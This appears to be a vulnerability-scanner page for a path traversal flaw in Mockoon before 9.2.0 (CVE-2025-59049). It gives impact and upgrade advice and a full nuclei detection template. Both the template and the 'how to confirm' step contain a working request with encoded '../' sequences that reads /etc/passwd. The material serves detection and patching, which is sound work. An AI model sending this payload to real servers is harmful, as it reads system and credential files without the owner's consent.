Mockoon < 9.2.0 - Path Traversal

highseverity

7.5CVSS score

1.8%likelihood of exploitation, next 30 days

79%of all CVEs are less likely

Readycheck to confirm it

Mockoon before 9.2.0 contains a path traversal and local file inclusion caused by unsafe templating of server filenames from user input, letting attackers read arbitrary files on the mock server filesystem, exploit requires crafted request.

Impact

Attackers can read arbitrary files from the mock server filesystem through path traversal in static file serving, potentially exposing sensitive configuration and credential files.

Fix

Upgrade Mockoon to version 9.2.0 or later that properly validates and restricts file paths in template processing.

How to confirm it

Send: GET /{{static_dir}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
Positive when: matches /root:.*:0:0:/ AND contains in content_type "application/json"

Run it with nuclei: nuclei -id CVE-2025-59049 -u <target>

The full check

id: CVE-2025-59049

info:
  name: Mockoon < 9.2.0 - Path Traversal
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Mockoon before 9.2.0 contains a path traversal and local file inclusion caused by unsafe templating of server filenames from user input, letting attackers read arbitrary files on the mock server filesystem, exploit requires crafted request.
  impact: |
    Attackers can read arbitrary files from the mock server filesystem through path traversal in static file serving, potentially exposing sensitive configuration and credential files.
  remediation: |
    Upgrade Mockoon to version 9.2.0 or later that properly validates and restricts file paths in template processing.
  reference:
    - https://github.com/mockoon/mockoon/security/advisories/GHSA-w7f9-wqc4-3wxr
    - https://github.com/mockoon/mockoon/commit/c7f6e23e87dc3b8cc44e5802af046200a797bd2e
    - https://nvd.nist.gov/vuln/detail/CVE-2025-59049
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-59049
    epss-score: 0.01836
    epss-percentile: 0.79114
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: mockoon
    product: mockoon
  tags: cve,cve2025,mockoon,lfi,path-traversal,vuln

variables:
  static_dir: "static"

http:
  - raw:
      - |
        GET /{{static_dir}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - "application/json"

References

Use this check only on systems you are authorised to test. Where the data comes from